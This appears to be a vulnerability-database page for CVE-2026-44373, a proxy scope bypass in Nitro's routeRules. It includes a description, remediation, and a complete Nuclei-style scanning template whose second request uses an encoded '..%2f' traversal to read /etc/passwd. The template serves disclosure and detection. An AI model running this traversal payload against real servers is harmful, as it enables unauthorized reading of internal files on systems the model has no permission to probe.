CVE-2026-44373: Nitro < 2.13.4 / < 3.0.260429-beta - routeRules Proxy Scope Bypass

2026-12-04 PoC Public

Description

Nitro (nitropack < 2.13.4, nitro < 3.0.260429-beta) contains a proxy scope bypass in routeRules (CWE-22). When a route is configured with a proxy and a /** wildcard suffix (e.g. routeRules: { "/api/orders/**": { proxy: { to: "http://upstream/orders/**" } } }), Nitro matches the rule against the raw percent-encoded path, so a request containing an encoded traversal sequence (..%2f) escapes the intended scope and the still-encoded path is forwarded to the upstream. If the upstream decodes %2F to / and resolves .., the attacker reaches resources outside the configured proxy scope, including arbitrary internal files such as /etc/passwd.

Details

CVE
CVE-2026-44373 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-44373

info:
  name: Nitro < 2.13.4 / < 3.0.260429-beta - routeRules Proxy Scope Bypass
  author: DhiyaneshDk
  severity: medium
  description: |
    Nitro (nitropack < 2.13.4, nitro < 3.0.260429-beta) contains a proxy scope bypass in routeRules (CWE-22). When a route is configured with a proxy and a /** wildcard suffix (e.g. routeRules: { "/api/orders/**": { proxy: { to: "http://upstream/orders/**" } } }), Nitro matches the rule against the raw percent-encoded path, so a request containing an encoded traversal sequence (..%2f) escapes the intended scope and the still-encoded path is forwarded to the upstream. If the upstream decodes %2F to / and resolves .., the attacker reaches resources outside the configured proxy scope, including arbitrary internal files such as /etc/passwd.
  impact: |
    An unauthenticated attacker can bypass the intended proxy scope and read internal files or reach upstream resources outside the configured path prefix.
  remediation: |
    Upgrade to nitropack 2.13.4 / nitro 3.0.260429-beta or later, which canonicalizes the pathname before building the upstream URL and rejects out-of-scope requests with 400 Bad Request.
  reference:
    - https://github.com/advisories/GHSA-5w89-w975-hf9q
    - https://github.com/unjs/nitro/pull/4222
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44373
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-44373
    epss-score: 0.00877
    epss-percentile: 0.60237
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: nitropack
    product: nitro
  tags: cve,cve2026,nitro,nitropack,unjs,proxy,traversal,lfi,vkev

variables:
  proxy: "api/orders"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{rand_base(8)}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Cannot find any route matching", "statusMessage")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 404'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/{{proxy}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 490a004630440220616225126f7db0ab9bfaed0dc39ffbe6bd9f5f5be45d0d7e32def54dd6a3018c022010a1367787369099138237088c2951759921b12ff8874579a3821c867aa90410:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life